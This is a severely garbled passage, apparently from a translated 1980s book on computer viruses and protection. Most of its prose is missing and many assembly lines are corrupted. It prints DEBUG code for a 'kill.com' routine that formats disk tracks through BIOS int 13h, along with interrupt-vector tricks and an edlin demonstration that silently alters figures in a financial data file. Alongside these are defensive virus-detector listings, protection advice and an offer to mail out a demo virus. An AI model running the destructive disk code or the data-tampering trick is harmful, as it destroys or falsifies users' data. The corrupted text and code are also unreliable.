          4.     
.    s  .
2le4:0100 b435        mov all,35

                           - 267 -
2le4:0102 b004        mov ak,04
2le4:0104 cd2l        int 2l

   9.      .  
    4.    -
   iret.
           "".
2le4:0106 8cco        mov ax,es
2le4:0108 89da        mov dx,bx
2le4:010a 8ed8        mov ds,ax
2ke4:010c b425        mov ah,25
2le4:010e b009        mov ak,09
2le4:0110 cd21        int 21

  :
2lt4:0112 b80000      mov ax,00000
2le4:0115 cd21        int 21

   njbreak  com.     ,  
   .

Nobreak
dir *.*
dir *.*/

   ,   ,  -
      ,    -
,    .   , 
     .    -
,          ( 
 ,  ),        
 .
     14.2    
      ""       -
.        7.3.  
 :        -
 .        -
 ,      ""
 dos.          ,

                           - 268 -
  .       
,          .   
     .         
 debug       kill.com.
197e:0100 b405          mov ah,05
197e:0102 b200          mov dl,00
197e:0104 b600          mov dh,00
197e:0106 b500          mov ch,00
197e:0108 b101          mov cl,01
197e:010a m008          mov al,08
197e:010c cd13          int 13
197e:010e b400          mov ah,00
197e:0110 cd21          int 21

  :
    5   :
197e:0100 b405          mov ah,05
dl    ,     0 = 
:
197:0102 b200          v dl,00
dh      .    
:
197:0104 b600          mov dh,00
  .    :
197:0106 b500          mov ch,00
ck    .   1:
197:0108 b101          mov cl,01
al      .      8
, ..    :
197:0101 b008         mov al,08

 13    bios,    -
:
197:010 d13          int 13

  21    :
197:010 b400          mov ah,00
197e:0110 cd21          int 21
         .   -

                           - 269 -
,           39, -
      .   -
     ,     
 .     :
197:0100 b405          mov ah,05
197e:0102 b200          mov dl,00
197e:0104 b600          mov dh,00
197e:0106 b580          mov ch,80   !!!!!!!
197e:0108 b101          mov cl,01
197e:010a b008          mov al,08
197e:010c cd13          int 13
197e%010e b400          mov ah,00
197t:0110 cd21          int 21
      ""       
.      ,  -    
  6845     -
.       .
14.3  
        .
      ,    -
,           dos
   ,    .    
  ,      14.1.  -
 bios ""    .
197e:0100 b435           mov ah,35
197e:0102 b004           mov ak,04
197e:0104 cd21           int 21
197e:0106 8cco           mov ax,es
197e:0108 89da           mov dx,bx
197e:010a 8ed8           mov ds,ax
197e:010c b425           mov ah,25
197e:010e b013           mov al,13
197e:0110 cd21           int 21
197e:0112 b80000         mov ax,00
197e:0115 cd21           int 21

 :

   4 ():

                           - 270 -

197e:0100 b435           mov all,35
197e:0102 b004           mov al,04
197e%0104 cd21           int 21


   13  (  ) ""  
 4.       , -
   :

197e:0106 8cco              mov ax,es
197e:0108 89da              mov dx,bx
197e:010a 8ed8              mov ds,ax
197e:010c b425              mov ah,25
197e:010e b013              mov al,13
197e:0110 cd21              int 21

   :

197:0112 m80000             mov ax,00
197e:0115 cd21               int 21

       .    
s-dos       ,    
   .       
   conig.sys  ,   -
     ,    ,    
  .    ,  
 .         , 
           -  -
   .
        
 ,   .      
       . -
     :

197:0100 b435              mov ah,35
197:0102 b004              mov al,04       
197:0104 cd21              int 21         

                           - 271 -
197:0106 8cc0              mov ax,es
197:0108 89da              mov dx,bx
197:010 8ed8              mov ds,ax
197:010 b425              mov ah,25
197:010 b013              mov al,13        
197:0110 cd21              int 21           
197:0112 b80000            mov ax,00
197:0115 cd21              int 21


    ,  "".   
     .     ,
   ,    ff    -
,         . 
 0000:522.        1.

1983:0100 b80000             mov ax,0000
1983:0103 8ed8               mov ds,ax
1983:0105 bb2205             mov bx,0522      
1983:0108 b4ff               mov ah,ff       
1983:010 8827               v bx,ah
1983:010c 31co               xor ax6ax
1983:010e cl13               int 13             


 :

1983:0110 m400               mov ah,00
1983:0112 cd21               int 21

,         
.

14.4  

         ,  
 "  ".        -
,   ,      ,
        .

                           - 272 -
    ,     ,  
      .   -
    ms-dos.     -
   dlin.      ,   
    "9"  ascii   "8"    scii.
     :     -
 .      .t    -
 :

edlin dummy.dat chang

     hange.    
   ,     :

197:0100     31 2 39 30 30 30 52 39-1 38 d oa 65 od oa

               1  ,  9  9  9  9  r 9  .  8  .  .  .  .  .


      dummy.dat     :
   .t:

einnahmen: 9679569,87        :

aucgaben:   453978,99        :

privat:       9778,45         :

ende das dftensatzes           


   .t,   ,  "9"  "8"
     .     -
     tty nul.  ,   -
  :

ende der eingabedatei
*1,9999r9 ^z8


                           - 273 -
1;*Einnahmen: s679569,87
1:*Einnahmen: s678569,87
1:*Einnahmen: s678568,87
2: Ausgaben: 453878,99
2:*Ausgaben: 453878,89
2:*Ausgaben: 453878,88
3: Privat  8778^55

*e

  dummy.dat    :
Einnahmen: 8678568,87
Ausgaben: 453878,88
Privat: 8778,45

Ende dfs dftensatz

 ,     fibu    -
 . , ,     -
  ,     ,  
      .

14.5      

       ,
      ,   -
   .      , -
         -
.  ,     ,   -
     -.
,        . 
        ,








                           - 274 -






15.  

     ,        ,
  ,     
    .   
 ""    .
     8     ,  
 .         
   ,     
 .
          
 .      
    "".
         :

1.  
    a)   
    b)   
    c)  - 

2.  

    a)   
    b)   
    c)  - 

          
 ,      -
  .        
        -
 .


15.1    ,   ""

           
,     .
          ,
   , ..   

                           - 275 -
  .    c  , 
          .
 a     ,  ,
 .
   , ,       MS-DOS,
c   BACKUP- 20     
 . ,   ,    -
 ,       .  
    RESTORE      ,
        COMP   
 .       
        RESTORE .
       .
       ,   
,     ,    
 ,   , .  
   ,  
   ,   
 ,   COMP    .
    ,   MS-DOS   
   .    
          -
  .
            
 ,        .
   ,   ,      
        
 ,       , -
     .

15.2      ""

           
:      -
  .       
,  100 %   ""  e .
        ""
  .  ,    , 
      .  

                           - 276 -
          , 
     .

15.3    ""

      ,   ""  
         ""?
      c , o  
    .     -
 [.  9]:
     F(x)  ,   "x" "", 
      ,   F(x)=rue
   "",   F(x)=False - .
      .  , 
 ""  5:
     F(x)  ,   ""  5,  
     ,   F(x)=True -
 ""  6,   F(X)=False   =5.
        ,  
     :  
""    . ,   .
     ,    ""  
  ,    
 .    ,  
,    ,   "-
".      ,  
 ,        .
 ,          .
            , 
,  ,      - 
 .    ,   ,
  ,  .  ,
      .   
,      . 
 /        
    ,  
  .     
    :


                           - 277 -
                       100 move "ITE"
                       110 move "WR"
                       120 jmp 130
                       130 END

    , ,       
.      ,    
  130,     END.  
 ! ,     ,  ,
        .

                       100 move "ITE"    ,132
                       110 move "WR"     ,130
                       120 jmp 130
                       130 WRITE

      END   130  
 WRITE. ,     
.  ,      
     ..
          , 
     ,  ,   
 . ,    
     ,   
    .   -
     ,  
,  ,   40      
DEBUG   .  ,  , 
     ,   
        : ,
  ..
         Prolok. ,
    ,    
 .     .
 ,    ,  
,      ,   -
.
       ,  
  ..

                           - 278 -
           
 .    ,   
  .     
 ,    , ,
,  TextSrch ( )     
    .  
       .
,      , ,
  ,    10   99.  
        . 
      ,
      10 ,   , 
,    99,      .
       ,    -
 . ,      
    . ,    
     ,   
   .      -
,       , ..  -
.
           
  ,       
     909090h    
 31/30   .    ,
  [10.],   "" .

       Name   VD1
;************************************************************
;      VD1        909090h
;      : 1.0  Copyright by R. Burger 1988
;************************************************************
Code   Segment
       Assume CS:Code
       Assume DS:Nothing
       Assume es:Nothing

       ORG    100h

Start:

                           - 279 -
;*************************************
;        
;*************************************
       lea dx,mes_sta
       mov ah,9
       int 21h
;*************************************
;       
;*************************************
       lea dx,charcount
       mov bx,dx
       mov ah,10
       int 21h
;*************************************
;        
;*************************************
       mov ah,0
       mov al,cs:[bx+1]
       add bx,ax
       add bx,2
       mov byte ptr cs:[bx],0
;*************************************
;       
;*************************************
       mov ah,3dh
       mov al,0
       lea dx,kbdbuf
       int 21h
       jc err_ope
;*************************************
;       
;*************************************
       mov bx,ax

;**************************************
;    3 
;**************************************
       mov ah,3fh
       mov cx,3

                           - 280 -
       int 21h
       jc err_red
;***************************************
;      ?
;***************************************
       cmh ax,3
       jb shj1     ;  
;***************************************
;      ?
;***************************************
       mov si,dx
       cmp word hnu cs:[si],9090h
       jnz ok1
       inc dx
       cmp word hnu cs:[si],9090h
       jnz ok1
;***************************************
;     ?
;***************************************
vir:   lea dx,mes_vir
       mov ah,9
       int 21h
       jmp close
;***************************************
;     
;***************************************
err_red:
       lea dx,mes_red
       mov ah,9
       int 21h
       jmp close
;**************************************
;     
;**************************************
err_ope:
       lea dx,mes_ope
       mov ah,9
       int 21h
       jmp ende

                           - 281 -
;*************************************
;     
;*************************************
sho1:  lea dx,mes_sho
       mov ah,9
       int 21h
       jmp close
;*************************************
;    
;*************************************
ok1:   lea dx,mes_ok1
       mov ah,9
       int 21h
;*************************************
;    
;*************************************
close:
       mov ah,3eh
       int 21h
       jnc ende
       mov ah,9
       lea dx,mes_clo
       int 21h
;************************************
;    
;************************************
ende:  mov ah,00
       int 21h

mes_ok1 db 10,13,"    $"
mes_sho db 10,13,"      $"
mes_red db 10,13,7,"     $"
mes_ope db 10,13,7,"     $"
mes_vir db 10,13,7,"  909090h  $"
mes_clo db 10,13,7,"     $"

mes_sna db 10,13,"    909090h :1.0",
        db 10,13,"Copyright by R.Burger"
        db 10,13," : $"

                           - 282 -
;*************************************
;        
;*************************************
charcount        db 65,0
kbdbuf db 65 dup (0)
code   ends
end start



       Name   VD2
;*********************************************************
;      VD2 ,    31/30   DIR
;      : 1.0  Copyright by R. Burger 1988
;*********************************************************
Code   Segment
       Assume CS:Code
       Assume DS:Nothing
       Assume es:Nothing

       ORG 100h

Start:
;*************************************
;        
;*************************************
       lea dx,mes_sta
       mov ax,90
       int 21h
;*************************************
;       
;*************************************
       lea dx,charcount
       mov bx,dx
       mov ah,10
       int 21h
;*************************************
;        
;*************************************

                           - 283 -
       mov ah,0
       mov al,cs:[bx+1]
       add bx,ax
       add bx,2
       mov byte ptr cs:[bx],0
;*************************************
;       
;*************************************
       mov ah,3dh
       mov al,0
       lea dx,kbdbuf
       int 21h
       jc err_ope
;*************************************
;       
;*************************************
       mov bx,ax

;**************************************
;       /
;**************************************
       mov ah,57h
       mov al,0
       int 21h
       jc err_red
;***************************************
;        ?
;***************************************
       and cx,1fh
       cmp cx,1fh
       jnz ok1
;***************************************
;        ?
;***************************************
vir:   lea dx,mes_vir
       mov ah,9
       int 21h
       jmp close
;**************************************

                           - 284 -
;     
;**************************************
err_ope:
       lea dx,mes_ope
       mov ah,9
       int 21h
       jmp ende
;***************************************
;     
;***************************************
err_red:
       lea dx,mes_red
       mov ah,9
       int 21h
       jmp close
;*************************************
;    
;*************************************
ok1:   lea dx,mes_ok1
       mov ah,9
       int 21h
;*************************************
;    
;*************************************
close:
       mov ah,3eh
       int 21h
       jnc ende
       mov ah,9
       lea dx,mes_clo
       int 21h
;************************************
;    
;************************************
ende:  mov ah,00
       int 21h

mes_ok1 db 10,13,"    $"
mes_red db 10,13,7,"     $"

                           - 285 -
mes_ope db 10,13,7,"     $"
mes_vir db 10,13,7,"  31/30 min.  $"
mes_clo db 10,13,7,"     $"

mes_sna db 10,13,"    31/30 min. :1.0",
        db 10,13,"Copyright by R.Burger"
        db 10,13," : $"
;*************************************
;        
;*************************************
charcount        db 65,0
kbdbuf db 65 dup (0)
code   ends
end start


:
   - c    
 ,    - .
        ,
       . 
 ,       
    ,    
        -
,    "  "   "".
,      .

15.4      

                
   .     .
    , , ,   ,
     ,     -
.         . , 
      ,      
. ,    ,   
 .       , -
        .
             

                           - 286 -
 .    ,  
  ,      
,   .    
        .
        ,  
 ,   .    ,
,    ,     -
         
.
     ,      
      ,   ,  
       
 .      3.1.  ,
       
,        
 .     :

 1)       
     ;
 2)         
      .
 3)   ,       
          -
    .
 4) ,    ,  ,
       .

:
           ,   .

15.5      

             -
 ,      
  .     c   
   ,  
    - .
  ,  ,    ELKEY 
INFOSYS       

                           - 287 -
 .
          .
       J.M. Wenzel 
Klaus Hoerhold.     :

 

      1986      ,
 c       ,
        
(   ) /  ( -
) .
      - ,  c  
 ,    . , 
    ,  
      .

  - 

   ,     ,
     .  ,   
      .
         , , 
      ,  ,  
     .
,     
,       .   , 
,     ,  
,      .
    - , 
    .    .
        ,    
   ,     ,
  (..   ) . 
      ,   
  ( ),     
 (   )    ,
    .   
   .    -   

                           - 288 -
    ,    
  .   ,,    
    ,    
    .    , 
 ,    ,    
()  ()      
 .       
      ( )
       . 
   (,   
  )   ,  
   ,       .
   , -     
 ,        -
      ,   
 ,     . , 
      
     .     :
         
""      
.  ,    ,  
       . 
     ,  -  (,
  )     ,  
     .  ,    
    ,   
 .
           
,     ,   
       (   -
 )       .
,       ,   ,
    ,    -
 .  ,  ,     ,
      . 
,        .
       --
      ,     -
       

                           - 289 -
    .

 

    ,     ,   ,  
      ,
     "".  
       -  "-
"       
 .
       
 ,    ,  
      
        .
 ,  ,    
    .    , 
        -
       ,
   ,    
       .
         -
     .   
 ,    
     .   
          c-
 " "   .
,          
 ,        
 .    (
 !)        
   .
             -
 .    ,   
 , -   ,    
  ,   ,  ,
  .
    ,      ,
       .
    ,    

                           - 290 -
     (, IBM PS/2).   
     -   
 .
    ,    ,
  ,   
 ,     .
     , 
 ,   ,  
  .      
         
  .      
  ,  
     . 
  ,  ,
      ,   
   ,    
        .



         
  ,    ,
   .
       , 
  ,  ,  
-    .
         
     .
           
. :       
      ,  - ,
,        ,
         
.
          
     ,
   .    
     
     .

                           - 291 -
      ,      
          ,
  (WORM-),    
.
 ,        
 ,     , 
      . , 
        .
 ,      
,    ,  
  , ,   
      .
           
,        ,    -
,      .   
       
      ,
          
     .
        
       ,   
,       
      ,  
       -
  .     
  ,      
    , ,  
  e    .

 

           
      ,
      .
          
     .   
  .   ,    
,       ,   
        

                           - 292 -
    (   
   / )    
    .
         
.       
   ,   .
          ,  
,     ( 
 ).
        
    ,  ,
     ,    .
 ,     ,
     (,  ,
     ) 
   .
      "" ,  
      
 , , ,     .
 ,       
,   .     
         -
         
       .

            
 .   ,  
,         
   .       ,
   ,    .

15.6     

    "Alteration Searcher"      
  ,     
-     .  "Alteration Searcher"
      
        .
      :

                           - 293 -

 -      ;
 -       ;
 -        .

    ,      , 
    ,     .
    :

   1. 
   2. 
   3. 
   4. 
   5. .

          
.        .
   ,   , 
   .
   ,     
.   ,       ,
   MS-DOS    .   
    .  ,  
     ,    
    ,     
.        
  LOG-.      
,      
,    ,  MS-DOS.
,  ,   ,  
 .
"Alteration Searcher"   ,   MS-DOS 
 (     -  32
).
         ,   
   .     
 ,      
 128-   .   
"Alteration Searcher"  ,  -

                           - 294 -
    ,    CeBIT'88  
 :

 1.  

        ,    -
 ,     -
,      .
      MS-DOS    
(Security Shell),       
     ,    
    ,  
      ,   
.      , 
     ,  
    ,      .

2.   

    ,      ,
    , , :

   a)     ;
   )    /  ;
   )   /  ;
   )        .

     ,     
     .
    n     
    .
       - 
  -   ,     
 ,       
          -
.     -    -
  ,   .
     ,       ,
   .

                           - 295 -
   ,       , -
       
.
       -  
(WORM-).

3.     

     MS-DOS     
        .  -
, c    (KEYLOCK.SYS)  
   . KEYLOCK.SYS    
   CONFIG.SYS.     KEYLOCK.SYS ,
, ,        , 
      , 
   , .  
KEYLOCK.SYS ,      
 COMMAND.COM     AUTOEXEC.BAT.
          WORMARK.COM.
WORMARK.COM     . 
         .
     ,  
 Alteration Searcher (AS.COM)    
      
.     , 
  -    LOG- KEYSAVE.COM.
  ,  LOG-   ,  KEYLOCK.SYS
   .    
   WORM-,     
   .   
,    ) - ) .   -
    ASCII-     
   .

4.   

          
         ,
..  ,   -   , - 

                           - 296 -
   .  ,  , 
 ,     
   c   .  
        
 ,   ,     
   :

   -  LOG-  (   - )
          ;
   -   HISTORY.EXE     
      (   - ) ;
   -    KEYLOG.COM  LOG-;
   -     LOG-;
   -    "KEYGET+9999 (  )" , 
          ,  
     ;
   -       .

        
    .

5. 

      WORM-   ,   
 KEYLOG.SYS, KEYSAVE.COM  AS.COM,   ,
     :

   -      ,  
      ;
   -  ,    ;
   -       
         ,   
             ;
   -    ( )  
        ;
   - 800       ;
   -      (  );
   -     .


                           - 297 -
6.    

        :

   - 10   (640  );
   - 0,36/1,2    ;
   - 35   ;
   - 2  ,    1  ;
   - 800   .

         
:

   -   MS-DOS 3.3;
   - KEYLOCK.SYS (   ,   
         );
   - START_D.SYS (  );
   - WORM.SYS    (  );
   - AS.COM      ( ;   );
   - KEYSAVE.COM ( SYSLOG     );
   - KEYLOG.COM  (   LOG-);
   - KEYGET.COM  (    );
   - HISTORY.COM (    ).

7.  

        ( 
    -   -)  , 
       , ,
  ,    
  .
     :

   -  - ;
   -      ;
   -      ;
   -       ;
   -        .


                           - 298 -

15.7  ,      ?

            .  
   .   ,    
  ,      
  ,   .   
         
        .
      ,    ,  ,  
      ,   
    .   , 
     . 
,        ,
    ,   , 
      .
     ,      :

1.    ( ).
          .
     ,  ,    .

2.      ,   
         .
      :
          )    ""  
             ;
          b)       ;

3.   ,   ,   .
         ,   ,
       ( Control Data)     -
     , ,   " ". 
        .

4.         .
         ,  ,  
      (  ).  ,  
    ,     !

                           - 299 -

5.           .
          , 
        .  ,  
          ,   
     (  - ).   -
        .

6.       .  
        . 
      ,     ,
    .

7.       
    .   ,   , 
     ,    .

8.       .  
       ,  ,   
        (  
       ,     ).

9.     ,    .
      ,     ,
            .

10.      ,   ,
        ,  
     .    ,  -
          .

11.      
    ,    ,  
       ,    .
           .
          
     .

12.       

                           - 300 -
         .
         
           
     .

          ,  
     .  
       
  ,      
 .

15.8      ?

     ,     
 ,    ,   .
           ,
    1948 .    
       
  ,      
 .     -
          !   
 ,       
       .    -  (IBM)
: "  -     
 .    o   
     . 
       ,    
      .  ,
 ,  ,  
      ,   
  ,        
."
          , ,
  ,    
       
 !        ,
       .
               
""      . 

                           - 301 -
           
 ,     ,
   ,  ,  
   . ,   
       
,       
  .
             
  ,   ,  
   .,   
       
"" ,      
 ,       
   . ,     
  ,     
 "",       .
          ,  
     /.  / 
- .,     ,
        
Y. ,   ,   
.     
 /,   -    - 
 ,       .
   128   8-     
 ( ),   800   5 - , 
,    ,  :   .
 IBM     MS DOS. MS DOS  ,
 /M, " "     . ,
    c MS DOS,       
   "Big Blu".     
,  
           
IBM- .      
 IBM,       
   .   
,        
     ,  
     .

                           - 302 -
      ,  
MS DOS      , 
  ,  -,   
  ,    
  ,       
  MS DOS  .
      ,     
: "  !" .
  ,    .
  ,   
  .    , 
     
 , ,   ,  
 .

 

         MS-DOS c  
       ,
   ,  MS-DOS,   
,     .  
   
        
 ,     .
       .  ,
  ,     
        .
         -
   .    :
            
 ,   .      
  .    -
     .  , 
 ,       ,    
.  ,  ,     ,
    ,    - 
,    . ,  
     .
     ,     

                           - 303 -
    . , 
        
   ,  Mikrosoft  ..
       
 ,        
. ,     ,
,    ,      
...
          
     8.2  RENAME_BATCH (A.G. Buchmeier).
      EXE   *.XXX.  
    COM ( , ,
 *YYY).  ,   -  
.     ,   
,  , ,   START.BAT:

                      echo off
                      ren %.XXX %.EXE
                      %1
                      ren %.EXE %1.XXX

   ,    WORDSTAR, :

                      START WS

            
    . ,    ,
    .  :  ,
       ,  
   (COM  EXE).     -
   :

                      echo off
                      if exist %1.XXX goto exefile
                      if exist %1.YYY goto comfile
                      echo FILE NOT FOUND
                      goto ende
                      :exefile
                      ren %1.XXX %1.EXE

                           - 304 -
                      %1
                      goto ende
                      :comfile
                      ren %1YYY %1.COM
                      %1
                      ren %1.COM %1.YYY
                      :ende

     ,    ,
    .

16.  

        :  
 ?       ? ,
  ,        
   .     
   ,      
 ,        .
    ,     ,   -
 .
         ,   
.         "",
     ,   .
        
    .    ,
       ,   
    -.


16.1      ?

         
    .     
" "       
 .
          , 
     , 
     

                           - 305 -
   .
          
        
,     
,    .

 

       ,  ,
    ,   
    ,    
       
 .   .
         35180  , 
    ,      360-
 80 . ,     
280  .      
    .     
   ,    .
      (,    
)     ,  ,
 ""  .
          
.      
 ,       
   .      
     .
          ,   
  .  ,  ,
   ,     
.       ?
         
   ,   
      ,   
      .

   

   ,      

                           - 306 -
  ,       c   .
     ,  ,  
      :    
         ,
  .   
      ,     -
!         -
     :    
       ,  ,
  ,        !
    ,        :
         ,
     -  ,   
 .       
    -   
     .,
      ,   , ..
,      !    
  ,     ,   -
   .

 

          ,
     ,   
    :

a)      ;
b)      .

          ,
    ""(..   ) ,
         
.     ,   ,
      ,  
   !

16.2     


                           - 307 -
   ,   ,   ,   c 
  ,  . ,   -
        "
" (closed shop).     c  
     ,   
  (     
 ).     ,    
  .     
    ,      :  
 . ,    ,  
   ,    
 .         ,  
        . ,
  ,     ,  
   .    , :
       -   ;
       -  ;
       -   ;
       -  ;
       -  .

     , ,     
.       
""   ,     ,
     .   
          -
  .
          , 
     
    .    ,  
  " ". , ,   -
    .     
      ";    
  4-5 . ,      ,
     .
          .
   ,        ?

 1)    ,    

                           - 308 -
       ,
    (     
  ).

 2)         
  .

 3)       .

 4)           
    .

    ,     , 
   .     -
 :

 1)  
    (,    )
     -  
 2)   
    (,   , )
     -   (  - )
 3)   
    (, -)
     -    ,    
 4)   
    (  ,  )
     - ,       ,
          3, /   
       " "
 5)   
    (  ,  ,  )
     - ,       4.  -
          .
 6)   
    (  ,  )
     -    .

   ,       -

                           - 309 -
        .
,   ,      - ,
    ,    . 
   "" .  ,  
  ,    , 
  ,    - .      
 ,       
  .  ,       
 ,       .   -
       . 
,   -,    ,   .
    ,    :
 - ,   - .
     /     -
,        
 16-   "Phoenix".    
,      ,  
      ,   
   ,   ,      
    .   
    ,    
  .

16.3    ?

          .
   ,      
   .    
,      
 VIRDEM.COM  RUSH HOUR,     .  
  " "      
 .  , ,   
  ,    ,     -
        .
        
 , , ,  .  , -
  ,     ,  -
    .      -
         ,   

                           - 310 -
  ,         ,
   .       
 .
        
     ,    -
.        ,   
  .         
     .      
  ,   .
     ""       
,      ,  
  . , ,    ,
     ""  ,   
10.1.   ,     
      .   
   ,
         .
        ,    
   .  
        
      ,  -
 ,   .   
  ,         -
 ,  ,    , 
.
            -
 ,    .
      ,      -
     .    -
  ,      ,
,  ,   ,  
  .  ,      
         
-       .
       
- ,      
     .   -
     ,   
         -

                           - 311 -
 .
,      10.    
    ,    
 .      :

        ----------------------------------------------------------
                          !
       ""  "  "    
                        !
                    -  !
        ----------------------------------------------------------

16.4       ?

    ,     " ", 
       ,
         - , 
   ,    
  .
   " " (artificial intelligence) -   
,        , 
 .       -
      ,  
    ,   
        .
       , .   
ONLINE-86  ,   , :
 " " -  ,        ,
   2-3 ,  ,  , 
 ".
     " " ,   , -
  ,      "". ,
       
  ,   .
       , , :
" -  ,       ".
   ,     ,     "-
",      .
   ,        :  

                           - 312 -
      ,   
(   - Pres-semitteilung 27.3.87).
          -
,        (GmbH),
 ,   ,       
 .
         
   (  
 GMD  FhG      27.3.87)  
 :

 -        
   (   ),    " ";

 -     - -
    ,      
      .    
     "" ;

 -      , .. 
         (),   
         .

          
  "    ,
  15  16  1987    ".
     ,      -
       
 ().
      -      
  ,    ,   -
    .  
 ,      ,  ,
COMMODORE C64,  " " ,   ""
,   ,      
     .
     ,    
   ,   
  .

                           - 313 -
    ,        ,
   8.7.87   
   6.7.87,     ,
  ,  3000 ,  
 .
        
(  ,   )    
        -
  .   
 ,  ,   (  ) 
,    - 
       .
         -
     ""  
        
.
           
     
.    -         
.      , 
      J. Eccles,   :
"...  -   ,    .
     -  "",     ,   
.
         ?
   :

 -     ?

 -      ?

 -      ?

 -      ?

         , 
       
  .    - 
    .     

                           - 314 -
  ,   ""  
    ,   ,  
-      .  
    " " ( ),
    -    .
       ,    ,
,      ,  
 . ,      
  .  ,    
.  ,    .  
      .    -
     ?    (Schroedel)
    : "   ,  ,
   ,      .
,       
   .     
     -.  ,
 -   ,   - 
   ".

     

         () 
 ,     
     .  
 -     -   ,
    .     
 , ..  " "    .
         ,    .
,     ,   
      .    -
   (),   
  (  )  .  ,
   1% (  )  50% (  )
 .
       , ,  
.   ,     , 
    ,   .  
       ,    

                           - 315 -
     .

     

          
 .   -   (),  (G),  () 
 ().      (U).   
     : A, G, C,  T.
     ,     ,
        
4**1,         
.  ,     "n" 
 4**n.       1000 
( ),    =4**1000. 
,      
 ,  ,    .
   1000  ,     
1000   ""  .    -
         
1000 ,       
 .       ,  
     . 
       ,  -  ,
  () -  .    
     , ,   -
,    .      
,    : , , 
(. 13.4).       
  ,    .
      ,         
,     ,  , 
        , 
 - ?
        " "
(       ), 
   ,      
     .  , , 
    -     
 .

                           - 316 -
           
 .
     ,   -
 ,    ,      
      .
     ,       
     ? ,     -
       . , 
 ,        
 ,  (       -
    ,   
      ),    ,
       
  . ,   
     .  
   ,    
    .    
,  ,      .
     ,      
     ,   114 
 .
      ,       
,    -    ?
      -
       , -
    ,    
,   ,    
 ,       ,  ,
 ,          .
,   ,        ,
,            
   Homo Sapiens'.  ,   
   ,    , 
        
  ,      ,   
  "   ".     
 ,     ,  
   .    
  , ,   :

                           - 317 -

 -   , :
   )  //;
   b)  ;
   c)     ()
      ;
   d)  () ;
   e)  ;

 -  /:
   a) ;
   b)      ;
   c)     
       ;

 -  :
   a)      ;
   b)      
      ;
   c) ,    , 
         .

   - , ,   , ,  
 ,     . 
,          ,
,   ,    ,   
  ,    -    
 .         
         , 
 " ".
       ,     
70-  Simon Nora  Alain Minc    " 
":
  "  -   .     ,   -
     ,       
".
          , ,
 Martin L. Minsky   ,  :
"  ,   -   

                           - 318 -
 ,       ,  
         "-".
               ,
,     ,     ,
        
  ,   .
        Karl Steinbuch   1971 :
  "...  ,     
   .    
   ,    , ..   
 ."
              
,         ,
  " ",       
  .       -
     ,     -
  .   ,     -
       ,  
        .
          1983 
   SCIENCE      
" " : "   , 
    ?".
    ,  ,     
 ,    
. F.L. Carter  (Naval Research Laboratory)  
    .   
      (0,1)  . 
      
2**1,  4**1   8**1.   ,  
 ,   c 
c   .      
,      ,  
  ,   ,  
   ..
              
c        .
     ""  ?   
      ,     

                           - 319 -
      . ,   -
.    D.O. Hebb (McGill Universitaet) 1951-1954 
,          
,    .      
.        . 
     ,     -
.   -    ?   
        ?
          . 
       ?
               -
 "", ..   ?
              -
    ? ....


   

    ,   ,    
   .
      ,  ,  
     ,       
,        .  
          -
         -
.
       ,      
,   .      
    ,   ,,
   ,    .  :

                 R. Burger
                 Kennwort EVISAD
                 Postfach 1105
                 4472 Haren

     ,   ,       -
  ,    .
    ,     .

                           - 320 -
        ,  
  .
           EVISA (
  )    ,    , ,
         
 ,      .
       ,   .
         ,    
VIRDEM.COM  5 1/4''-    lga Massfeller, Anrtrstr.,4,
EDV-Dienstleistungen, 4472 Harren,  30    .
            
.















